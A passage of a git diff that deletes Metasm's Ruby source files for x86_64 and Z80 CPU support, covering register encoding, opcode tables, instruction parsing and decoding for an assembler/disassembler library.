r14b r15b ah ch dh bh}, - 16 => %w{ ax cx dx bx sp bp si di r8w r9w r10w r11w r12w r13w r14w r15w}, - 32 => %w{eax ecx edx ebx esp ebp esi edi r8d r9d r10d r11d r12d r13d r14d r15d eip}, - 64 => %w{rax rcx rdx rbx rsp rbp rsi rdi r8 r9 r10 r11 r12 r13 r14 r15 rip} - - Sym = @i_to_s[64].map { |s| s.to_sym } - - # returns a symbolic representation of the register: - # cx => :rcx & 0xffff - # ah => (:rax >> 8) & 0xff - # XXX in x64, 32bits operations are zero-extended to 64bits (eg mov rax, 0x1234_ffff_ffff ; add eax, 1 => rax == 0 - def symbolic(di=nil) - s = Sym[@val] - s = di.next_addr if s == :rip and di - if @sz == 8 and to_s[-1] == ?h - Expression[[Sym[@val-16], :>>, 8], :&, 0xff] - elsif @sz == 8 - Expression[s, :&, 0xff] - elsif @sz == 16 - Expression[s, :&, 0xffff] - elsif @sz == 32 - Expression[s, :&, 0xffffffff] - else - s - end - end - - # checks if two registers have bits in common - def share?(other) - raise 'TODO' - # XXX TODO wtf does formula this do ? - other.val % (other.sz >> 1) == @val % (@sz >> 1) and (other.sz != @sz or @sz != 8 or other.val == @val) - end - - # returns the part of @val to encode in an instruction field - def val_enc - if @sz == 8 and @val >= 16; @val-12 # ah, bh, ch, dh - elsif @val >= 16 # rip - else @val & 7 # others - end - end - - # returns the part of @val to encode in an instruction's rex prefix - def val_rex - if @sz == 8 and @val >= 16 # ah, bh, ch, dh: rex forbidden - elsif @val >= 16 # rip - else @val >> 3 # others - end - end - end - - # ModRM represents indirections (eg dword ptr [eax+4*ebx+12h]) - # 16bit mode unavailable in x64 - # opcodes use 64bit addressing by default, use adsz override (67h) prefix to switch to 32 - # immediate values are encoded as :i32 sign-extended to 64bits - class ModRM < Ia32::ModRM - # mod 0/1/2 m 4 => sib - # mod 0 m 5 => rip+imm - # sib: i 4 => no index, b 5 => no base - end - - class DbgReg < Ia32::DbgReg - simple_map((0..15).map { |i| [i, "dr#{i}"] }) - end - - class CtrlReg < Ia32::CtrlReg - simple_map((0..15).map { |i| [i, "cr#{i}"] }) - end - - class TstReg < Ia32::TstReg - simple_map((0..15).map { |i| [i, "tr#{i}"] }) - end - - # Create a new instance of an X86 cpu - # arguments (any order) - # - instruction set (386, 486, sse2...) [latest] - # - endianness [:little] - def initialize(*a) - super(:latest) - @size = 64 - a.delete @size - @endianness = (a & [:big, :little]).first || :little - a.delete @endianness - @family = a.pop || :latest - raise "Invalid arguments #{a.inspect}" if not a.empty? - raise "Invalid X86_64 family #{@family.inspect}" if not respond_to?("init_#@family") - end - - # defines some preprocessor macros to say who we are: - # TODO - def tune_prepro(pp) - super(pp, :itsmeX64) # ask Ia32's to just call super() - pp.define_weak('_M_AMD64') - pp.define_weak('_M_X64') - pp.define_weak('__amd64__') - pp.define_weak('__x86_64__') - end - - def str_to_reg(str) - # X86_64::Reg != Ia32::Reg - Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil - end - - def shortname - "x64#{'_be' if @endianness == :big}" - end -end - -X64 = X86_64 -AMD64 = X86_64 - -end diff --git a/lib/metasm/metasm/cpu/x86_64/opcodes.rb b/lib/metasm/metasm/cpu/x86_64/opcodes.rb deleted file mode 100644 index f023c5162d..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/opcodes.rb +++ /dev/null @@ -1,136 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/main' -require 'metasm/cpu/ia32/opcodes' - -module Metasm -class X86_64 - def init_cpu_constants - super() - [:i32, :u32, :i64, :u64].each { |a| @valid_args[a] = true } - end - - def init_386_common_only - super() - # :imm64 => accept a real int64 as :i argument - # :auto64 => ignore rex_w, always 64-bit op - # :op32no64 => if write to a 32-bit reg, dont zero the top 32-bits of dest - [:imm64, :auto64, :op32no64].each { |a| @valid_props[a] = true } - @opcode_list.delete_if { |o| o.bin[0].to_i & 0xf0 == 0x40 } # now REX prefix - @opcode_list.each { |o| - o.props[:imm64] = true if o.bin == [0xB8] # mov reg, <true imm64> - o.props[:auto64] = true if o.name =~ /^(j.*|loop.*|call|enter|leave|push|pop|ret)$/ - } - addop 'movsxd', [0x63], :mrm - addop('cdqe', [0x98]) { |o| o.props[:opsz] = 64 } - addop('cqo', [0x99]) { |o| o.props[:opsz] = 64 } - end - - # all x86_64 cpu understand <= sse2 instrs - def init_x8664_only - init_386_common_only - init_386_only - init_387_only - init_486_only - init_pentium_only - init_p6_only - init_sse_only - init_sse2_only - - @opcode_list.delete_if { |o| - o.args.include?(:seg2) or - o.args.include?(:seg2A) or - o.args.include?(:farptr) or - %w[aaa aad aam aas bound daa das into jcxz jecxz - lds les loadall arpl pusha pushad popa - popad].include?(o.name.split('.')[0]) - # split needed for lds.a32 - } - - @opcode_list.each { |o| - o.props[:auto64] = true if o.name =~ /^(enter|leave|[sl]gdt|[sl]idt|[sl]ldt|[sl]tr|push|pop|syscall)$/ - } - - addop('cmpxchg16b', [0x0F, 0xC7], 1) { |o| o.props[:opsz] = 64 ; o.props[:argsz] = 128 } - addop('iretq', [0xCF], nil, :stopexec, :setip) { |o| o.props[:opsz] = 64 } ; opcode_list.unshift opcode_list.pop - addop 'swapgs', [0x0F, 0x01, 0xF8] - - addop('movq', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 64 } - addop('movq', [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args = [:modrm, :regxmm] ; o.props[:opsz] = o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } - addop('jecxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } # actually 16 (cx), but x64 in general says pfx 0x67 => adsz = 32 - addop('jrcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 64 } - end - - def init_sse3 - init_x8664_only - init_sse3_only - end - - def init_sse41_only - super() - addop('pextrq', [0x0F, 0x3A, 0x16], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:opsz] = o.props[:argsz] = 64 } - addop('pinsrq', [0x0F, 0x3A, 0x22], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:opsz] = o.props[:argsz] = 64 } - end - - def init_avx_only - super() - addop('rdfsbase', [0x0F, 0xAE], 0, :modrmR) { |o| o.props[:needpfx] = 0xF3 } - addop('rdgsbase', [0x0F, 0xAE], 1, :modrmR) { |o| o.props[:needpfx] = 0xF3 } - addop('wrfsbase', [0x0F, 0xAE], 2, :modrmR) { |o| o.props[:needpfx] = 0xF3 } - addop('wrgsbase', [0x0F, 0xAE], 3, :modrmR) { |o| o.props[:needpfx] = 0xF3 } - end - - def addop_macrostr(name, bin, type) - super(name, bin, type) - bin = bin.dup - bin[0] |= 1 - addop(name+'q', bin) { |o| o.props[:opsz] = 64 ; o.props[type] = true } - end - - def addop_macroret(name, bin, *args) - addop(name + '.i64', bin, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 64 } - super(name, bin, *args) - end - - def addop_post(op) - if op.fields[:d] or op.fields[:w] or op.fields[:s] or op.args.first == :regfp0 - return super(op) - end - - if op.props[:needpfx] - @opcode_list.unshift op - else - @opcode_list << op - end - - if op.args == [:i] or op.name == 'ret' - # define opsz-override version for ambiguous opcodes - op16 = op.dup - op16.name << '.i16' - op16.props[:opsz] = 16 - @opcode_list << op16 - # push call ret jz can't 32bit - op64 = op.dup - op64.name << '.i64' - op64.props[:opsz] = 64 - @opcode_list << op64 - elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or - op.args.include? :modrm or op.name =~ /loop|xlat/ - # define adsz-override version for ambiguous opcodes (movsq) - # XXX loop pfx 67 = rip+ecx, 66/rex ignored - op32 = op.dup - op32.name << '.a32' - op32.props[:adsz] = 32 - @opcode_list << op32 - op64 = op.dup - op64.name << '.a64' - op64.props[:adsz] = 64 - @opcode_list << op64 - end - end -end -end diff --git a/lib/metasm/metasm/cpu/x86_64/parse.rb b/lib/metasm/metasm/cpu/x86_64/parse.rb deleted file mode 100644 index 8a558ba1df..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/parse.rb +++ /dev/null @@ -1,76 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/opcodes' -require 'metasm/cpu/x86_64/encode' -require 'metasm/parse' - -module Metasm -class X86_64 - def parse_parser_instruction(lexer, instr) - case instr.raw.downcase - when '.mode', '.bits' - if tok = lexer.readtok and tok.type == :string and tok.raw == '64' - lexer.skip_space - raise instr, 'syntax error' if ntok = lexer.nexttok and ntok.type != :eol - else - raise instr, 'invalid cpu mode, 64bit only' - end - else super(lexer, instr) - end - end - - def parse_prefix(i, pfx) - super(i, pfx) or (i.prefix[:sz] = 64 if pfx == 'code64') - end - - # needed due to how ruby inheritance works wrt constants - def parse_argregclasslist - [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg] - end - # same inheritance sh*t - def parse_modrm(lex, tok, cpu) - ModRM.parse(lex, tok, cpu) - end - - def parse_instruction_checkproto(i) - # check ah vs rex prefix - return if i.args.find { |a| a.kind_of? Reg and a.sz == 8 and a.val >= 16 and - op = opcode_list.find { |op_| op_.name == i.opname } and - ((not op.props[:auto64] and i.args.find { |aa| aa.respond_to? :sz and aa.sz == 64 }) or - i.args.find { |aa| aa.kind_of? Reg and aa.val >= 8 and aa.val < 16 } or # XXX mov ah, cr12... - i.args.grep(ModRM).find { |aa| (aa.b and aa.b.val >= 8 and aa.b.val < 16) or (aa.i and aa.i.val >= 8 and aa.i.val < 16) }) - } - super(i) - end - - # check if the argument matches the opcode's argument spec - def parse_arg_valid?(o, spec, arg) - return if arg.kind_of? ModRM and ((arg.b and arg.b.val == 16 and arg.i) or (arg.i and arg.i.val == 16 and (arg.b or arg.s != 1))) - return if arg.kind_of? Reg and arg.sz >= 32 and arg.val == 16 # eip/rip only in modrm - return if o.props[:auto64] and arg.respond_to? :sz and arg.sz == 32 - # vex c4/c5 - return if o.fields[:vex_r] and not o.fields[:vex_b] and (spec == :modrm or spec == :modrmxmm or spec == :modrmymm) and (((arg.kind_of?(SimdReg) or arg.kind_of?(Reg)) and arg.val >= 8) or (arg.kind_of?(ModRM) and ((arg.b and arg.b.val >= 8) or (arg.i and arg.i.val >= 8)))) - if o.name == 'movsxd' - return if not arg.kind_of? Reg and not arg.kind_of? ModRM - arg.sz ||= 32 - if spec == :reg - return if not arg.kind_of? Reg - return arg.sz >= 32 - else - return arg.sz == 32 - end - end - return if o.name == 'xchg' and spec == :reg and o.args.include?(:reg_eax) and arg.kind_of?(Reg) and arg.sz == 32 and arg.val == 0 - - super(o, spec, arg) - end - - def check_reserved_name(name) - Reg.s_to_i[name] - end -end -end diff --git a/lib/metasm/metasm/cpu/x86_64/render.rb b/lib/metasm/metasm/cpu/x86_64/render.rb deleted file mode 100644 index c14813f01c..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/render.rb +++ /dev/null @@ -1,35 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/opcodes' -require 'metasm/render' - -module Metasm -class X86_64 - def gui_hilight_word_regexp_init - ret = {} - - %w[a b c d].each { |r| - ret["#{r}l"] = "[re]?#{r}x|#{r}l" - ret["#{r}h"] = "[re]?#{r}x|#{r}h" - ret["#{r}x"] = ret["e#{r}x"] = ret["r#{r}x"] = "[re]?#{r}x|#{r}[hl]" - } - - %w[sp bp si di].each { |r| - ret["#{r}l"] = ret[r] = ret["e#{r}"] = ret["r#{r}"] = "[re]?#{r}|#{r}l" - } - - (8..15).each { |i| - r = "r#{i}" - ret[r+'b'] = ret[r+'w'] = ret[r+'d'] = ret[r] = "#{r}[bwd]?" - } - - ret['eip'] = ret['rip'] = '[re]ip' - - ret - end -end -end diff --git a/lib/metasm/metasm/cpu/z80.rb b/lib/metasm/metasm/cpu/z80.rb deleted file mode 100644 index a842092909..0000000000 --- a/lib/metasm/metasm/cpu/z80.rb +++ /dev/null @@ -1,9 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/z80/decode' -require 'metasm/cpu/z80/render' diff --git a/lib/metasm/metasm/cpu/z80/decode.rb b/lib/metasm/metasm/cpu/z80/decode.rb deleted file mode 100644 index f4f6898646..0000000000 --- a/lib/metasm/metasm/cpu/z80/decode.rb +++ /dev/null @@ -1,313 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/z80/opcodes' -require 'metasm/decode' - -module Metasm -class Z80 - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = Array.new(op.bin.length, 0) - op.fields.each { |f, (oct, off)| - op.bin_mask[oct] |= (@fields_mask[f] << off) - } - op.bin_mask.map! { |v| 255 ^ v } - end - - def build_bin_lookaside - # sets up a hash byte value => list of opcodes that may match - # opcode.bin_mask is built here - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - build_opcode_bin_mask op - b = op.bin[0] - msk = op.bin_mask[0] - next @unknown_opcode = op if not b - for i in b..(b | (255^msk)) - lookaside[i] << op if i & msk == b & msk - end - } - lookaside - end - - def decode_prefix(instr, byte) - case byte - when 0xDD; instr.prefix = 0xDD - when 0xFD; instr.prefix = 0xFD - # implicit 'else return false' - end - end - - # tries to find the opcode encoded at edata.ptr - # if no match, tries to match a prefix (update di.instruction.prefix) - # on match, edata.ptr points to the first byte of the opcode (after prefixes) - def decode_findopcode(edata) - di = DecodedInstruction.new self - while edata.ptr < edata.data.length - byte = edata.data[edata.ptr] - byte = byte.unpack('C').first if byte.kind_of?(::String) - return di if di.opcode = @bin_lookaside[byte].find { |op| - # fetch the relevant bytes from edata - bseq = edata.data[edata.ptr, op.bin.length].unpack('C*') - # check against full opcode mask - op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } - } - - if decode_prefix(di.instruction, edata.get_byte) - nb = edata.data[edata.ptr] - nb = nb.unpack('C').first if nb.kind_of?(::String) - case nb - when 0xCB - # DD CB <disp8> <opcode_pfxCB> [<args>] - di.instruction.prefix |= edata.get_byte << 8 - di.bin_length += 2 - opc = edata.data[edata.ptr+1] - opc = opc.unpack('C').first if opc.kind_of?(::String) - bseq = [0xCB, opc] - # XXX in decode_instr_op, byte[0] is the immediate displacement instead of cb - return di if di.opcode = @bin_lookaside[nb].find { |op| - op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } - } - when 0xED - di.instruction.prefix = nil - end - else - di.opcode = @unknown_opcode - return di - end - di.bin_length += 1 - end - end - - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode ensures that data >= op.length - pfx = di.instruction.prefix - - field_val = lambda { |f| - if fld = op.fields[f] - (bseq[fld[0]] >> fld[1]) & @fields_mask[f] - end - } - - op.args.each { |a| - di.instruction.args << case a - when :i8, :u8, :i16, :u16; Expression[edata.decode_imm(a, @endianness)] - when :iy; Expression[field_val[a]] - when :iy8; Expression[field_val[a]*8] - - when :rp - v = field_val[a] - Reg.new(16, v) - when :rp2 - v = field_val[a] - v = 4 if v == 3 - Reg.new(16, v) - when :ry, :rz - v = field_val[a] - if v == 6 - Memref.new(Reg.from_str('HL'), nil, 1) - else - Reg.new(8, v) - end - - when :r_a; Reg.from_str('A') - when :r_af; Reg.from_str('AF') - when :r_hl; Reg.from_str('HL') - when :r_de; Reg.from_str('DE') - when :r_sp; Reg.from_str('SP') - when :r_i; Reg.from_str('I') - - when :m16; Memref.new(nil, edata.decode_imm(:u16, @endianness), nil) - when :m_bc; Memref.new(Reg.from_str('BC'), nil, 1) - when :m_de; Memref.new(Reg.from_str('DE'), nil, 1) - when :m_sp; Memref.new(Reg.from_str('SP'), nil, 2) - when :m_hl; Memref.new(Reg.from_str('HL'), nil, 1) - when :mf8; Memref.new(nil, 0xff00 + edata.decode_imm(:u8, @endianness), 1) - when :mfc; Memref.new(Reg.from_str('C'), 0xff00, 1) - - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - case pfx - when 0xDD - when 0xFD - when 0xCBDD - when 0xCBFD - end - - di.bin_length += edata.ptr - before_ptr - - return if edata.ptr > edata.length - - di - end - - # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - # populate the @backtrace_binding hash with default values - def init_backtrace_binding - @backtrace_binding ||= {} - - mask = 0xffff - - opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| - binding = case op - when 'ld'; lambda { |di, a0, a1, *aa| a2 = aa[0] ; a2 ? { a0 => Expression[a1, :+, a2] } : { a0 => Expression[a1] } } - when 'ldi'; lambda { |di, a0, a1| hl = (a0 == :a ? a1 : a0) ; { a0 => Expression[a1], hl => Expression[hl, :+, 1] } } - when 'ldd'; lambda { |di, a0, a1| hl = (a0 == :a ? a1 : a0) ; { a0 => Expression[a1], hl => Expression[hl, :-, 1] } } - when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or' - lambda { |di, a0, a1| - e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&, 'xor' => :^, 'or' => :| }[op] - ret = Expression[a0, e_op, a1] - ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbc' - ret = Expression[ret.reduce] if not a0.kind_of? Indirection - { a0 => ret } - } - when 'cp', 'cmp'; lambda { |di, *a| {} } - when 'inc'; lambda { |di, a0| { a0 => Expression[a0, :+, 1] } } - when 'dec'; lambda { |di, a0| { a0 => Expression[a0, :-, 1] } } - when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } } - when 'push' - lambda { |di, a0| { :sp => Expression[:sp, :-, 2], - Indirection[:sp, 2, di.address] => Expression[a0] } } - when 'pop' - lambda { |di, a0| { :sp => Expression[:sp, :+, 2], - a0 => Indirection[:sp, 2, di.address] } } - when 'call' - lambda { |di, a0| { :sp => Expression[:sp, :-, 2], - Indirection[:sp, 2, di.address] => Expression[di.next_addr] } - } - when 'ret', 'reti'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } } - # TODO callCC, retCC ... - when 'bswap' - lambda { |di, a0| { a0 => Expression[ - [[a0, :&, 0xff00], :>>, 8], :|, - [[a0, :&, 0x00ff], :<<, 8]] } } - when 'nop', /^j/; lambda { |di, *a| {} } - end - - # TODO flags ? - - @backtrace_binding[op] ||= binding if binding - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Memref, Reg; arg.symbolic(di) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - end - - # patch a forward binding from the backtrace binding - def fix_fwdemu_binding(di, fbd) - case di.opcode.name - when 'push', 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2]) - end - fbd - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - case di.opcode.basename - when 'ret', 'reti' - return [Indirection[:sp, 2, di.address]] - when /^jr|^djnz/ - # jmp/call are absolute addrs, only jr/djnz are relative - # also, the asm source should display the relative offset - return [Expression[[di.address, :+, di.bin_length], :+, di.instruction.args.first]] - end - - case tg = di.instruction.args.first - when Memref; [Expression[tg.symbolic(di)]] - when Reg; [Expression[tg.symbolic(di)]] - when Expression, ::Integer; [Expression[tg]] - else - puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG - [] - end - end - - # checks if expr is a valid return expression matching the :saveip instruction - def backtrace_is_function_return(expr, di=nil) - expr = Expression[expr].reduce_rec - expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] - end - - # updates the function backtrace_binding - # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - b = f.backtrace_binding - - bt_val = lambda { |r| - next if not retaddrlist - b[r] = Expression::Unknown - bt = [] - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, - :snapshot_addr => faddr, :origin => retaddr) - } - if bt.length != 1 - b[r] = Expression::Unknown - else - b[r] = bt.first - end - } - - if not wantregs.empty? - wantregs.each(&bt_val) - else - bt_val[:sp] - end - - b - end - - # returns true if the expression is an address on the stack - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include?(:sp) - end - - # updates an instruction's argument replacing an expression with another (eg label renamed) - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset - a - else a - end - } - end -end -end diff --git a/lib/metasm/metasm/cpu/z80/main.rb b/lib/metasm/metasm/cpu/z80/main.rb deleted file mode 100644 index 516c919e8b..0000000000 --- a/lib/metasm/metasm/cpu/z80/main.rb +++ /dev/null @@ -1,67 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class Z80 < CPU - class Reg - class << self - attr_accessor :s_to_i, :i_to_s - end - @i_to_s = { 8 => { 0 => 'B', 1 => 'C', 2 => 'D', 3 => 'E', - 4 => 'H', 5 => 'L', 7 => 'A' }, - 16 => { 0 => 'BC', 1 => 'DE', 2 => 'HL', 3 => 'SP', - 4 => 'AF' } } # AF is 3 too - @s_to_i = @i_to_s.inject({}) { |h, (sz, rh)| - h.update rh.inject({}) { |hh, (i, n)| - hh.update n => [sz, i] } } - - attr_accessor :sz, :i - def initialize(sz, i) - @sz = sz - @i = i - end - - def symbolic(orig=nil) ; to_s.to_sym ; end - - def self.from_str(s) - raise "Bad name #{s.inspect}" if not x = @s_to_i[s] - new(*x) - end - end - - class Memref - attr_accessor :base, :offset, :sz - def initialize(base, offset, sz=nil) - @base = base - offset = Expression[offset] if offset - @offset = offset - @sz = sz - end - - def symbolic(orig) - p = nil - p = Expression[p, :+, @base.symbolic] if base - p = Expression[p, :+, @offset] if offset - Indirection[p.reduce, @sz, orig] - end - end - - def initialize(family = :latest) - super() - @endianness = :little - @size = 16 - @family = family - end - - def init_opcode_list - send("init_#@family") - @opcode_list - end -end -end - diff --git a/lib/metasm/metasm/cpu/z80/opcodes.rb b/lib/metasm/metasm/cpu/z80/opcodes.rb deleted file mode 100644 index 055de44249..0000000000 --- a/lib/metasm/metasm/cpu/z80/opcodes.rb +++ /dev/null @@ -1,224 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/z80/main' - -module Metasm - -class Z80 - def addop(name, bin, *args) - o = Opcode.new name, bin - args.each { |a| - o.args << a if @fields_mask[a] or @valid_args[a] - o.props[a] = true if @valid_props[a] - o.fields[a] = [bin.length-1, @fields_shift[a]] if @fields_mask[a] - raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a] - } - @opcode_list << o - end - - def addop_macrocc(name, bin, *args) - %w[nz z nc c po pe p m].each_with_index { |cc, i| - dbin = bin.dup - dbin[0] |= i << 3 - addop name + cc, dbin, *args - } - end - - # data from http://www.z80.info/decoding.htm - def init_z80_common - @opcode_list = [] - @valid_args.update [:i8, :u8, :i16, :u16, :m16, - :r_a, :r_af, :r_hl, :r_de, :r_sp, :r_i, - :m_bc, :m_de, :m_sp, :m_hl, :mf8, :mfc - ].inject({}) { |h, v| h.update v => true } - @fields_mask.update :rz => 7, :ry => 7, :rp => 3, :rp2 => 3, :iy => 7, :iy8 => 7 - @fields_shift.update :rz => 0, :ry => 3, :rp => 4, :rp2 => 4, :iy => 3, :iy8 => 3 - - # some opcodes are in init_z80 when they are not part of the GB ABI - addop 'nop', [0b00_000_000] - addop 'jr', [0b00_011_000], :setip, :stopexec, :i8 - %w[nz z nc c].each_with_index { |cc, i| - addop 'jr' + cc, [0b00_100_000 | (i << 3)], :setip, :i8 - } - addop 'ld', [0b00_000_001], :rp, :i16 - addop 'add', [0b00_001_001], :r_hl, :rp - - addop 'ld', [0b00_000_010], :m_bc, :r_a - addop 'ld', [0b00_001_010], :r_a, :m_bc - addop 'ld', [0b00_010_010], :m_de, :r_a - addop 'ld', [0b00_011_010], :r_a, :m_de - - addop 'inc', [0b00_000_011], :rp - addop 'dec', [0b00_001_011], :rp - addop 'inc', [0b00_000_100], :ry - addop 'dec', [0b00_000_101], :ry - addop 'ld', [0b00_000_110], :ry, :i8 - - addop 'rlca', [0b00_000_111] # rotate - addop 'rrca', [0b00_001_111] - addop 'rla', [0b00_010_111] - addop 'rra', [0b00_011_111] - - addop 'daa', [0b00_100_111] - addop 'cpl', [0b00_101_111] - addop 'scf', [0b00_110_111] - addop 'ccf', [0b00_111_111] - - addop 'halt', [0b01_110_110] # ld (HL), (HL) - addop 'ld', [0b01_000_000], :ry, :rz - - addop 'add', [0b10_000_000], :r_a, :rz - addop 'adc', [0b10_001_000], :r_a, :rz - addop 'sub', [0b10_010_000], :r_a, :rz - addop 'sbc', [0b10_011_000], :r_a, :rz - addop 'and', [0b10_100_000], :r_a, :rz - addop 'xor', [0b10_101_000], :r_a, :rz - addop 'or', [0b10_110_000], :r_a, :rz - addop 'cmp', [0b10_111_000], :r_a, :rz # alias cp - addop 'cp', [0b10_111_000], :r_a, :rz # compare - - addop_macrocc 'ret', [0b11_000_000], :setip - addop 'pop', [0b11_000_001], :rp2 - addop 'ret', [0b11_001_001], :stopexec, :setip - addop 'jmp', [0b11_101_001], :r_hl, :setip, :stopexec # alias jp - addop 'jp', [0b11_101_001], :r_hl, :setip, :stopexec - addop 'ld', [0b11_111_001], :r_sp, :r_hl - addop_macrocc 'j', [0b11_000_010], :setip, :u16 # alias jp - addop_macrocc 'jp', [0b11_000_010], :setip, :u16 - addop 'jmp', [0b11_000_011], :setip, :stopexec, :u16 # alias jp - addop 'jp', [0b11_000_011], :setip, :stopexec, :u16 - - addop 'di', [0b11_110_011] # disable interrupts - addop 'ei', [0b11_111_011] - addop_macrocc 'call', [0b11_000_100], :u16, :setip, :saveip - addop 'push', [0b11_000_101], :rp2 - addop 'call', [0b11_001_101], :u16, :setip, :saveip, :stopexec - - addop 'add', [0b11_000_110], :r_a, :i8 - addop 'adc', [0b11_001_110], :r_a, :i8 - addop 'sub', [0b11_010_110], :r_a, :i8 - addop 'sbc', [0b11_011_110], :r_a, :i8 - addop 'and', [0b11_100_110], :r_a, :i8 - addop 'xor', [0b11_101_110], :r_a, :i8 - addop 'or', [0b11_110_110], :r_a, :i8 - addop 'cp', [0b11_111_110], :r_a, :i8 - - addop 'rst', [0b11_000_111], :iy8 # call off in page 0 - - addop 'rlc', [0xCB, 0b00_000_000], :rz # rotate - addop 'rrc', [0xCB, 0b00_001_000], :rz - addop 'rl', [0xCB, 0b00_010_000], :rz - addop 'rr', [0xCB, 0b00_011_000], :rz - addop 'sla', [0xCB, 0b00_100_000], :rz # shift - addop 'sra', [0xCB, 0b00_101_000], :rz - addop 'srl', [0xCB, 0b00_111_000], :rz - addop 'bit', [0xCB, 0b01_000_000], :iy, :rz # bit test - addop 'res', [0xCB, 0b10_000_000], :iy, :rz # bit reset - addop 'set', [0xCB, 0b11_000_000], :iy, :rz # bit set - end - - # standard z80 - def init_z80 - init_z80_common - - addop 'ex', [0b00_001_000], :r_af # XXX really ex AF, AF' ... - addop 'djnz', [0b00_010_000], :setip, :i8 - - addop 'ld', [0b00_100_010], :m16, :r_hl - addop 'ld', [0b00_101_010], :r_hl, :m16 - addop 'ld', [0b00_110_010], :m16, :r_a - addop 'ld', [0b00_111_010], :r_a, :m16 - - addop 'exx', [0b11_011_001] - addop 'out', [0b11_010_011], :i8, :r_a - addop 'in', [0b11_011_011], :r_a, :i8 - - addop 'ex', [0b11_100_011], :m_sp, :r_hl - addop 'ex', [0b11_101_011], :r_de, :r_hl - - addop 'sll', [0xCB, 0b00_110_000], :rz - - addop 'in', [0xED, 0b01_110_000], :u16 - addop 'in', [0xED, 0b01_000_000], :ry, :u16 - addop 'out', [0xED, 0b01_110_001], :u16 - addop 'out', [0xED, 0b01_000_001], :u16, :ry - addop 'sbc', [0xED, 0b01_000_010], :r_hl, :rp - addop 'adc', [0xED, 0b01_001_010], :r_hl, :rp - addop 'ld', 